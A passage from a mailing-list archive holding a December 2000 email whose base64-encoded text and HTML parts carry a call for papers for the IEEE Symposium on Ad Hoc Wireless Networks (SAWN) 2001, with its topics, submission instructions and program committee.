QWxsIGlucXVpcmVzIHNob3VsZCBiZSBkaXJlY3RlZCB0byB0aGUgc3ltcG9zaXVtIGNoYWlybWFu IGF0DQpja3RvaEBlY2UuZ2F0ZWNoLmVkdQ0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpJbnRlcm5hdGlvbmFsIFRlY2hu aWNhbCBQcm9ncmFtIENvbW1pdHRlZQ0KDQpEci4gUGVpeWluZyBaaHUsIE5PUlRFTCBOZXR3b3Jr cw0KRHIuIEJhc3NhbSBIYXNoZW0sIE5PUlRFTCBOZXR3b3Jrcw0KRHIuIFlpbGUgR3VvLCBOT0tJ QSBVU0ENCkRyLiBFcmljIEZsZXVyeSwgSU5SSUEsIEZyYW5jZQ0KUHJvZi4gQW5kcmUgU2NoYWZm LCBVIG9mIEhlbnJ5IFBvaW5jYXJlIE5hbmN5IDEsIEZyYW5jZQ0KUHJvZi4gSmVhbi1ZdmVzLUxl LUJvdWRlYywgRVBGTCwgU3dpdHplcmxhbmQNClByb2YuIEFkYW0gV29saXN6LCBUVSBCZXJsaW4s IEdlcm1hbnkNClByb2YuIEguIFQuIE1vdWZ0YWgsIFF1ZWVucyBVbml2ZXJzaXR5LCBDYW5hZGEN ClByb2YuIFZpY3RvciBPLiBLLiBMaSwgVW5pdmVyc2l0eSBvZiBIb25nIEtvbmcNClByb2YuIEst QyBDaGVuLCBOYXRpb25hbCBUYWl3YW4gVW5pdmVyc2l0eSwgVGFpd2FuDQpTeWVkIEFrYmFyLCBU UlcsIFVTQQ0KRHIuIEtlbm5ldGggQmF5ZXIsIE1JVFJFIENvcnBvcmF0aW9uLCBVU0ENCkRyLiBI b3dhcmQgTGVtYmVyZywgVGVsY29yZGlhIFRlY2hub2xvZ2llcywgVVNBDQpQcm9mLiBLcmlzIFBp c3RlciwgVW5pdmVyc2l0eSBvZiBDYWxpZm9ybmlhIEJlcmtlbGV5DQpQcm9mLiBDLUsuIFRvaCwg R2VvcmdpYSBUZWNoLCBVU0ENClByb2YuIEFobWVkIEhlbG15LCBVbml2ZXJzaXR5IG9mIFNvdXRo ZXJuIENhbGlmb3JuaWEsDQpEb25na3l1biBLaW0sIFNlb3VsIE5hdGlvbmFsIFVuaXZlcnNpdHks IEtvcmVhIA0KRHIuIE5hZGVyIE1vYXllcmksIE5hdGlvbmFsIEluc3RpdHV0ZSBvZiBTdGFuZGFy ZCAmIFRlY2hub2xvZ3kgDQpQcm9mLiBDaHJpc3RpYW4gQm9ubmV0LCBFVVJFQ09NLCBGcmFuY2Ug DQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tDQpXZWIgU2l0ZToNCg0KaHR0cDovL3d3dy5nbG9iZWNvbTIwMDEuY29tDQpodHRw Oi8vdXNlcnMuZWNlLmdhdGVjaC5lZHU6ODAvfmNrdG9oL3Nhd24vc2F3bjAxLmh0bWwNCi0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t DQoNCg0K ------=_NextPart_000_0072_01C06B4F.951F0380 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWtz X2NfNTYwMS0xOTg3IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIGNvbnRlbnQ9Ik1T SFRNTCA1LjAwLjIzMTQuMTAwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPjwvRk9OVD4m bmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPkhlbGxvIEFMTCw8QlI+PEJSPiZuYnNwOyog QXBvbG9naWVzIGlmIHlvdSByZWNlaXZlIG11bHRpcGxlIA0KY29waWVzIG9mIHRoaXMgDQoqPEJS PjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS08QlI+SUVFRSANClN5bXBvc2l1bSBvbiBBZCBIb2MgV2lyZWxlc3MgTmV0d29ya3MgKFNBV04p IA0KMjAwMTxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS08QlI+U3ltcG9zaXVtIA0KQ2hhaXJtYW48QlI+PEJSPiZuYnNwO1Byb2YuIEMtSy4g VG9oPEJSPiZuYnNwO0VsZWN0cmljYWwgJmFtcDsgQ29tcHV0ZXIgDQpFbmdpbmVlcmluZyw8QlI+ Jm5ic3A7R2VvcmdpYSBJbnN0aXR1dGUgb2YgVGVjaG5vbG9neTxCUj4mbmJzcDtGYXg6IDQwNC04 OTQtNzQ2OCANCkUtbWFpbDo8QlI+Jm5ic3A7PEEgDQpocmVmPSJtYWlsdG86Y2t0b2hAZWNlLmdh dGVjaC5lZHUiPmNrdG9oQGVjZS5nYXRlY2guZWR1PC9BPjxCUj48QlI+SUVFRSBDb21zb2MgDQpM aWFzb248QlI+PEJSPiZuYnNwO0dheWxlIFdlaXNtYW48QlI+Jm5ic3A7SUVFRSBDb21tdW5pY2F0 aW9ucyBTb2NpZXR5IA0KPEJSPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj5BYm91dCANCklFRUUgDQpTQVdOMjAwMTxC Uj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLTxCUj5UaGUgDQpJRUVFIFN5bXBvc2l1bSBvbiBBZC1Ib2MgV2lyZWxlc3MgTmV0d29y a3MgKFNBV04yMDAxKSBpcyBhIDxCUj5uZXcgYW5kICpoaWdoIA0KcXVhbGl0eSogdGVjaG5pY2Fs IG1lZXRpbmcgKHRvIGJlIGhlbGQgYXMgcGFydCBvZiA8QlI+R0xPQkVDT00gMjAwMSkgZm9yIA0K cmVzZWFyY2hlcnMgdG8gcHJlc2VudCB0aGVpciBsYXRlc3QgcmVzZWFyY2ggPEJSPndvcmsgcmVs YXRlZCB0byB0aGUgZmFzdCANCmV2b2x2aW5nIGZpZWxkIG9mIGFkIGhvYyAobXVsdGlob3AsPEJS PmFkYXB0aXZlLCBhbmQgc2VsZi1vcmdhbml6aW5nKSB3aXJlbGVzcyANCm5ldHdvcmtzIGFuZCBw ZXJ2YXNpdmU8QlI+Y29tbXVuaWNhdGlvbnMuIFN1Y2ggbmV0d29ya3MgY291bGQgaGF2ZSBzdHJv bmcgDQpwb3RlbnRpYWwgaW1wYWN0IDxCUj5vbiBvdXIgZGFpbHkgbGl2ZXMgKGZvciBleGFtcGxl IGF0IGhvbWUgYW5kIG9uLXRoZS1yb2FkKSANCmFuZCB0aGUgPEJSPndheSB3ZSB3b3JrLiBUaGV5 IGFyZSBhbHNvIHBhcnRpY3VsYXJseSBhdHRyYWN0aXZlIGZvciBtaWxpdGFyeSANCjxCUj5hbmQg ZW1lcmdlbmN5IG9wZXJhdGlvbnMgZHVlIHRvIHRoZWlyIGZhc3QgZGVwbG95YWJsZSBhbmQgDQo8 QlI+c2VsZi1vcmdhbml6aW5nIGNoYXJhY3RlcmlzdGljcy4gRnV0dXJlIGFkIGhvYyBuZXR3b3Jr cyBhcmUgYWxzbzxCUj5jYXBhYmxlIA0Kb2Ygc3VwcG9ydGluZyBtdWx0aW1lZGlhLiBIaWdoIHF1 YWxpdHkgcGFwZXJzIGFyZSBpbnZpdGVkIDxCUj5mcm9tIHJlc2VhcmNoZXJzIA0KaW4gYWNhZGVt aWEgYW5kIGluZHVzdHJpZXMgd2hvIGFyZSBpbnZvbHZlZCBpbiA8QlI+dGhpcyBhcmVhIG9mIHdv cmsuIA0KPEJSPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj5Ub3BpY3MgDQpvZiBJbnRlcmVzdCBJbmNsdWRlIChi dXQgbm90IGFyZSBsaW1pdGVkIHRvKTo8QlI+PEJSPi0gQWQgSG9jIFJvdXRpbmcgDQpQcm90b2Nv bHMvQWxnb3JpdGhtcyA8QlI+LSBBZCBIb2MgVHJhbnNwb3J0IElzc3VlcyA8QlI+LSBNZWRpYSBB Y2Nlc3MgDQpUZWNobmlxdWVzL1Byb3RvY29sczxCUj4tIFNlbnNvciAmYW1wOyBEYXRhIEZ1c2lv biBBZCBIb2MgTmV0d29ya3M8QlI+LSBBZCBob2MgDQpuZXR3b3JrIGFyY2hpdGVjdHVyZXMgPEJS Pi0gRXJyb3IgJmFtcDsgTGluayBDb250cm9sIFRlY25pcXVlczxCUj4tIEFjY2VzcyAmYW1wOyAN ClNlc3Npb24gU3VwcG9ydCA8QlI+LSBBZCBIb2MgTXVsdGljYXN0aW5nIFByb3RvY29scy9BbGdv cml0aG1zIDxCUj4tIFNlcnZpY2UgDQpEaXNjb3ZlcnkgQWxnb3JpdGhtcyA8QlI+LSBMb3cgUG93 ZXIgQWxnb3JpdGhtcyBhbmQgUHJvdG9jb2xzIDxCUj4tIFF1YWxpdHkgb2YgDQpTZXJ2aWNlIElz c3VlcyA8QlI+LSBNb2JpbGUgSVAgd2l0aCBBZCBIb2MgPEJSPi0gUGVyZm9ybWFuY2Ugb2YgQmx1 ZXRvb3RoIA0KTmV0d29ya3MgPEJSPi0gSW50ZWdyYXRpb24gDQpJc3N1ZXM8QlI+PEJSPi0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08 QlI+SW5zdHJ1Y3Rpb25zIA0KZm9yIEF1dGhvcnM8QlI+PEJSPlRlY2huaWNhbCBwYXBlcnMgc2hv dWxkIGJlIHN1Ym1pdHRlZCB0byB0aGUgR2xvYmVjb20gDQpDb21taXR0ZWUgPEJSPmZvbGxvd2lu ZyB0aGUgZ2VuZXJhbCBHbG9iZWNvbSBzdWJtaXNzaW9uIHByb2Nlc3MgYW5kIGluc3RydWN0aW9u cyANCjxCUj4oQVVUSE9SIEtJVCkuIEluIG9yZGVyIHRvIGVuc3VyZSB0aGF0IHlvdXIgcGFwZXIg aXMgcHJvcGVybHk8QlI+cm91dGVkIHRvIA0KdGhpcyBTeW1wb3NpdW0sIGl0IGlzIFZFUlkgSU1Q T1JUQU5UIHRoYXQgeW91IGV4cGxpY2l0bHk8QlI+aWRlbnRpZnkgU3ltcG9zaXVtIA0Kb24gQWQg SG9jIFdpcmVsZXNzIE5ldHdvcmtzIGFzIHRoZSBpbnRlbmRlZCA8QlI+c3ltcG9zaXVtIHRvIHdo aWNoIHlvdSBhcmUgDQpzdWJtaXR0aW5nIHRoZSBwYXBlci4gRmFpbHVyZSB0byBkbzxCUj5zbyBt YXkgcmVzdWx0IGluIHlvdXIgcGFwZXIgYmVpbmcgDQpmb3J3YXJkZWQgdG8gYW5vdGhlciBzeW1w b3NpdW0uIDxCUj5BbGwgc3VibWlzc2lvbnMgYXJlIGRvbmUgZWxlY3Ryb25pY2FsbHkuIA0KU3Vi bWlzc2lvbiBkZWFkbGluZSBpczxCUj4zMXN0IE1hcmNoIDIwMDEuIDxCUj48QlI+QWNjZXB0ZWQg cGFwZXJzIHdpbGwgYmUgDQpwdWJsaXNoZWQgaW4gdGhlIElFRUUgR0xPQkVDT00gcHJvY2VlZGlu Z3MuPEJSPkFsbCBpbnF1aXJlcyBzaG91bGQgYmUgZGlyZWN0ZWQgDQp0byB0aGUgc3ltcG9zaXVt IGNoYWlybWFuIGF0PEJSPjxBIA0KaHJlZj0ibWFpbHRvOmNrdG9oQGVjZS5nYXRlY2guZWR1Ij5j a3RvaEBlY2UuZ2F0ZWNoLmVkdTwvQT48QlI+PEJSPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08QlI+SW50ZXJuYXRpb25hbCAN ClRlY2huaWNhbCBQcm9ncmFtIENvbW1pdHRlZTxCUj48QlI+RHIuIFBlaXlpbmcgWmh1LCBOT1JU RUwgTmV0d29ya3M8QlI+RHIuIA0KQmFzc2FtIEhhc2hlbSwgTk9SVEVMIE5ldHdvcmtzPEJSPkRy LiBZaWxlIEd1bywgTk9LSUEgVVNBPEJSPkRyLiBFcmljIEZsZXVyeSwgDQpJTlJJQSwgRnJhbmNl PEJSPlByb2YuIEFuZHJlIFNjaGFmZiwgVSBvZiBIZW5yeSBQb2luY2FyZSBOYW5jeSAxLCANCkZy YW5jZTxCUj5Qcm9mLiBKZWFuLVl2ZXMtTGUtQm91ZGVjLCBFUEZMLCBTd2l0emVybGFuZDxCUj5Q cm9mLiBBZGFtIFdvbGlzeiwgVFUgDQpCZXJsaW4sIEdlcm1hbnk8QlI+UHJvZi4gSC4gVC4gTW91 ZnRhaCwgUXVlZW5zIFVuaXZlcnNpdHksIENhbmFkYTxCUj5Qcm9mLiANClZpY3RvciBPLiBLLiBM aSwgVW5pdmVyc2l0eSBvZiBIb25nIEtvbmc8QlI+UHJvZi4gSy1DIENoZW4sIE5hdGlvbmFsIFRh aXdhbiANClVuaXZlcnNpdHksIFRhaXdhbjxCUj5TeWVkIEFrYmFyLCBUUlcsIFVTQTxCUj5Eci4g S2VubmV0aCBCYXllciwgTUlUUkUgDQpDb3Jwb3JhdGlvbiwgVVNBPEJSPkRyLiBIb3dhcmQgTGVt YmVyZywgVGVsY29yZGlhIFRlY2hub2xvZ2llcywgVVNBPEJSPlByb2YuIA0KS3JpcyBQaXN0ZXIs IFVuaXZlcnNpdHkgb2YgQ2FsaWZvcm5pYSBCZXJrZWxleTxCUj5Qcm9mLiBDLUsuIFRvaCwgR2Vv cmdpYSBUZWNoLCANClVTQTxCUj5Qcm9mLiBBaG1lZCBIZWxteSwgVW5pdmVyc2l0eSBvZiBTb3V0 aGVybiBDYWxpZm9ybmlhLDxCUj5Eb25na3l1biBLaW0sIA0KU2VvdWwgTmF0aW9uYWwgVW5pdmVy c2l0eSwgS29yZWEgPEJSPkRyLiBOYWRlciBNb2F5ZXJpLCBOYXRpb25hbCBJbnN0aXR1dGUgb2Yg DQpTdGFuZGFyZCAmYW1wOyBUZWNobm9sb2d5IDxCUj5Qcm9mLiBDaHJpc3RpYW4gQm9ubmV0LCBF VVJFQ09NLCBGcmFuY2UgDQo8QlI+PEJSPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPEJSPldlYiANClNpdGU6PEJSPjxCUj48QSAN CmhyZWY9Imh0dHA6Ly93d3cuZ2xvYmVjb20yMDAxLmNvbSI+aHR0cDovL3d3dy5nbG9iZWNvbTIw MDEuY29tPC9BPjxCUj48QSANCmhyZWY9Imh0dHA6Ly91c2Vycy5lY2UuZ2F0ZWNoLmVkdTo4MC9+ Y2t0b2gvc2F3bi9zYXduMDEuaHRtbCI+aHR0cDovL3VzZXJzLmVjZS5nYXRlY2guZWR1OjgwL35j a3RvaC9zYXduL3Nhd24wMS5odG1sPC9BPjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxCUj48QlI+PC9ESVY+PC9GT05UPjwv Qk9EWT48L0hUTUw+DQo= ------=_NextPart_000_0072_01C06B4F.951F0380-- From owner-ietf-outbound Wed Dec 20 23:22:04 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA25560 for ietf-outbound.10@ietf.org; Wed, 20 Dec 2000 23:21:53 -0500 (EST) Received: from mmlab.snu.ac.kr (mmlab.snu.ac.kr [147.46.114.112]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA25192 for ; Wed, 20 Dec 2000 22:55:41 -0500 (EST) Received: from amber (amber.snu.ac.kr [147.46.15.207]) by mmlab.snu.ac.kr (8.9.3/8.9.3) with SMTP id MAA00190; Thu, 21 Dec 2000 12:44:34 +0900 (KST) Message-ID: <007501c06b04$262257c0$cf0f2e93@snu.ac.kr> From: "Kim Dongkyun" To: , , , Subject: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 Date: Thu, 21 Dec 2000 13:11:51 +0900 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0072_01C06B4F.951F0380" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Loop: ietf@ietf.org This is a multi-part message in MIME format. ------=_NextPart_000_0072_01C06B4F.951F0380 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 DQpIZWxsbyBBTEwsDQoNCiAqIEFwb2xvZ2llcyBpZiB5b3UgcmVjZWl2ZSBtdWx0aXBsZSBjb3Bp ZXMgb2YgdGhpcyAqDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQ0KSUVFRSBTeW1wb3NpdW0gb24gQWQgSG9jIFdpcmVsZXNzIE5ldHdvcmtz IChTQVdOKSAyMDAxDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0NClN5bXBvc2l1bSBDaGFpcm1hbg0KDQogUHJvZi4gQy1LLiBUb2gNCiBFbGVj dHJpY2FsICYgQ29tcHV0ZXIgRW5naW5lZXJpbmcsDQogR2VvcmdpYSBJbnN0aXR1dGUgb2YgVGVj aG5vbG9neQ0KIEZheDogNDA0LTg5NC03NDY4IEUtbWFpbDoNCiBja3RvaEBlY2UuZ2F0ZWNoLmVk dQ0KDQpJRUVFIENvbXNvYyBMaWFzb24NCg0KIEdheWxlIFdlaXNtYW4NCiBJRUVFIENvbW11bmlj YXRpb25zIFNvY2lldHkgDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpBYm91dCBJRUVFIFNBV04yMDAxDQotLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KVGhl IElFRUUgU3ltcG9zaXVtIG9uIEFkLUhvYyBXaXJlbGVzcyBOZXR3b3JrcyAoU0FXTjIwMDEpIGlz IGEgDQpuZXcgYW5kICpoaWdoIHF1YWxpdHkqIHRlY2huaWNhbCBtZWV0aW5nICh0byBiZSBoZWxk IGFzIHBhcnQgb2YgDQpHTE9CRUNPTSAyMDAxKSBmb3IgcmVzZWFyY2hlcnMgdG8gcHJlc2VudCB0 aGVpciBsYXRlc3QgcmVzZWFyY2ggDQp3b3JrIHJlbGF0ZWQgdG8gdGhlIGZhc3QgZXZvbHZpbmcg ZmllbGQgb2YgYWQgaG9jIChtdWx0aWhvcCwNCmFkYXB0aXZlLCBhbmQgc2VsZi1vcmdhbml6aW5n KSB3aXJlbGVzcyBuZXR3b3JrcyBhbmQgcGVydmFzaXZlDQpjb21tdW5pY2F0aW9ucy4gU3VjaCBu ZXR3b3JrcyBjb3VsZCBoYXZlIHN0cm9uZyBwb3RlbnRpYWwgaW1wYWN0IA0Kb24gb3VyIGRhaWx5 IGxpdmVzIChmb3IgZXhhbXBsZSBhdCBob21lIGFuZCBvbi10aGUtcm9hZCkgYW5kIHRoZSANCndh eSB3ZSB3b3JrLiBUaGV5IGFyZSBhbHNvIHBhcnRpY3VsYXJseSBhdHRyYWN0aXZlIGZvciBtaWxp dGFyeSANCmFuZCBlbWVyZ2VuY3kgb3BlcmF0aW9ucyBkdWUgdG8gdGhlaXIgZmFzdCBkZXBsb3lh YmxlIGFuZCANCnNlbGYtb3JnYW5pemluZyBjaGFyYWN0ZXJpc3RpY3MuIEZ1dHVyZSBhZCBob2Mg bmV0d29ya3MgYXJlIGFsc28NCmNhcGFibGUgb2Ygc3VwcG9ydGluZyBtdWx0aW1lZGlhLiBIaWdo IHF1YWxpdHkgcGFwZXJzIGFyZSBpbnZpdGVkIA0KZnJvbSByZXNlYXJjaGVycyBpbiBhY2FkZW1p YSBhbmQgaW5kdXN0cmllcyB3aG8gYXJlIGludm9sdmVkIGluIA0KdGhpcyBhcmVhIG9mIHdvcmsu IA0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLQ0KVG9waWNzIG9mIEludGVyZXN0IEluY2x1ZGUgKGJ1dCBub3QgYXJlIGxp bWl0ZWQgdG8pOg0KDQotIEFkIEhvYyBSb3V0aW5nIFByb3RvY29scy9BbGdvcml0aG1zIA0KLSBB ZCBIb2MgVHJhbnNwb3J0IElzc3VlcyANCi0gTWVkaWEgQWNjZXNzIFRlY2huaXF1ZXMvUHJvdG9j b2xzDQotIFNlbnNvciAmIERhdGEgRnVzaW9uIEFkIEhvYyBOZXR3b3Jrcw0KLSBBZCBob2MgbmV0 d29yayBhcmNoaXRlY3R1cmVzIA0KLSBFcnJvciAmIExpbmsgQ29udHJvbCBUZWNuaXF1ZXMNCi0g QWNjZXNzICYgU2Vzc2lvbiBTdXBwb3J0IA0KLSBBZCBIb2MgTXVsdGljYXN0aW5nIFByb3RvY29s cy9BbGdvcml0aG1zIA0KLSBTZXJ2aWNlIERpc2NvdmVyeSBBbGdvcml0aG1zIA0KLSBMb3cgUG93 ZXIgQWxnb3JpdGhtcyBhbmQgUHJvdG9jb2xzIA0KLSBRdWFsaXR5IG9mIFNlcnZpY2UgSXNzdWVz IA0KLSBNb2JpbGUgSVAgd2l0aCBBZCBIb2MgDQotIFBlcmZvcm1hbmNlIG9mIEJsdWV0b290aCBO ZXR3b3JrcyANCi0gSW50ZWdyYXRpb24gSXNzdWVzDQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCkluc3RydWN0aW9ucyBmb3Ig QXV0aG9ycw0KDQpUZWNobmljYWwgcGFwZXJzIHNob3VsZCBiZSBzdWJtaXR0ZWQgdG8gdGhlIEds b2JlY29tIENvbW1pdHRlZSANCmZvbGxvd2luZyB0aGUgZ2VuZXJhbCBHbG9iZWNvbSBzdWJtaXNz aW9uIHByb2Nlc3MgYW5kIGluc3RydWN0aW9ucyANCihBVVRIT1IgS0lUKS4gSW4gb3JkZXIgdG8g ZW5zdXJlIHRoYXQgeW91ciBwYXBlciBpcyBwcm9wZXJseQ0Kcm91dGVkIHRvIHRoaXMgU3ltcG9z aXVtLCBpdCBpcyBWRVJZIElNUE9SVEFOVCB0aGF0IHlvdSBleHBsaWNpdGx5DQppZGVudGlmeSBT eW1wb3NpdW0gb24gQWQgSG9jIFdpcmVsZXNzIE5ldHdvcmtzIGFzIHRoZSBpbnRlbmRlZCANCnN5 bXBvc2l1bSB0byB3aGljaCB5b3UgYXJlIHN1Ym1pdHRpbmcgdGhlIHBhcGVyLiBGYWlsdXJlIHRv IGRvDQpzbyBtYXkgcmVzdWx0IGluIHlvdXIgcGFwZXIgYmVpbmcgZm9yd2FyZGVkIHRvIGFub3Ro ZXIgc3ltcG9zaXVtLiANCkFsbCBzdWJtaXNzaW9ucyBhcmUgZG9uZSBlbGVjdHJvbmljYWxseS4g U3VibWlzc2lvbiBkZWFkbGluZSBpcw0KMzFzdCBNYXJjaCAyMDAxLiANCg0KQWNjZXB0ZWQgcGFw ZXJzIHdpbGwgYmUgcHVibGlzaGVkIGluIHRoZSBJRUVFIEdMT0JFQ09NIHByb2NlZWRpbmdzLg0K QWxsIGlucXVpcmVzIHNob3VsZCBiZSBkaXJlY3RlZCB0byB0aGUgc3ltcG9zaXVtIGNoYWlybWFu IGF0DQpja3RvaEBlY2UuZ2F0ZWNoLmVkdQ0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpJbnRlcm5hdGlvbmFsIFRlY2hu aWNhbCBQcm9ncmFtIENvbW1pdHRlZQ0KDQpEci4gUGVpeWluZyBaaHUsIE5PUlRFTCBOZXR3b3Jr cw0KRHIuIEJhc3NhbSBIYXNoZW0sIE5PUlRFTCBOZXR3b3Jrcw0KRHIuIFlpbGUgR3VvLCBOT0tJ QSBVU0ENCkRyLiBFcmljIEZsZXVyeSwgSU5SSUEsIEZyYW5jZQ0KUHJvZi4gQW5kcmUgU2NoYWZm LCBVIG9mIEhlbnJ5IFBvaW5jYXJlIE5hbmN5IDEsIEZyYW5jZQ0KUHJvZi4gSmVhbi1ZdmVzLUxl LUJvdWRlYywgRVBGTCwgU3dpdHplcmxhbmQNClByb2YuIEFkYW0gV29saXN6LCBUVSBCZXJsaW4s IEdlcm1hbnkNClByb2YuIEguIFQuIE1vdWZ0YWgsIFF1ZWVucyBVbml2ZXJzaXR5LCBDYW5hZGEN ClByb2YuIFZpY3RvciBPLiBLLiBMaSwgVW5pdmVyc2l0eSBvZiBIb25nIEtvbmcNClByb2YuIEst QyBDaGVuLCBOYXRpb25hbCBUYWl3YW4gVW5pdmVyc2l0eSwgVGFpd2FuDQpTeWVkIEFrYmFyLCBU UlcsIFVTQQ0KRHIuIEtlbm5ldGggQmF5ZXIsIE1JVFJFIENvcnBvcmF0aW9uLCBVU0ENCkRyLiBI b3dhcmQgTGVtYmVyZywgVGVsY29yZGlhIFRlY2hub2xvZ2llcywgVVNBDQpQcm9mLiBLcmlzIFBp c3RlciwgVW5pdmVyc2l0eSBvZiBDYWxpZm9ybmlhIEJlcmtlbGV5DQpQcm9mLiBDLUsuIFRvaCwg R2VvcmdpYSBUZWNoLCBVU0ENClByb2YuIEFobWVkIEhlbG15LCBVbml2ZXJzaXR5IG9mIFNvdXRo ZXJuIENhbGlmb3JuaWEsDQpEb25na3l1biBLaW0sIFNlb3VsIE5hdGlvbmFsIFVuaXZlcnNpdHks IEtvcmVhIA0KRHIuIE5hZGVyIE1vYXllcmksIE5hdGlvbmFsIEluc3RpdHV0ZSBvZiBTdGFuZGFy ZCAmIFRlY2hub2xvZ3kgDQpQcm9mLiBDaHJpc3RpYW4gQm9ubmV0LCBFVVJFQ09NLCBGcmFuY2Ug DQoNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tDQpXZWIgU2l0ZToNCg0KaHR0cDovL3d3dy5nbG9iZWNvbTIwMDEuY29tDQpodHRw Oi8vdXNlcnMuZWNlLmdhdGVjaC5lZHU6ODAvfmNrdG9oL3Nhd24vc2F3bjAxLmh0bWwNCi0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t DQoNCg0K ------=_NextPart_000_0072_01C06B4F.951F0380 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWtz X2NfNTYwMS0xOTg3IiBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZT4NCjxNRVRBIGNvbnRlbnQ9Ik1T SFRNTCA1LjAwLjIzMTQuMTAwMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPjwvRk9OVD4m bmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgc2l6ZT0yPkhlbGxvIEFMTCw8QlI+PEJSPiZuYnNwOyog QXBvbG9naWVzIGlmIHlvdSByZWNlaXZlIG11bHRpcGxlIA0KY29waWVzIG9mIHRoaXMgDQoqPEJS PjxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS08QlI+SUVFRSANClN5bXBvc2l1bSBvbiBBZCBIb2MgV2lyZWxlc3MgTmV0d29ya3MgKFNBV04p IA0KMjAwMTxCUj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS08QlI+U3ltcG9zaXVtIA0KQ2hhaXJtYW48QlI+PEJSPiZuYnNwO1Byb2YuIEMtSy4g 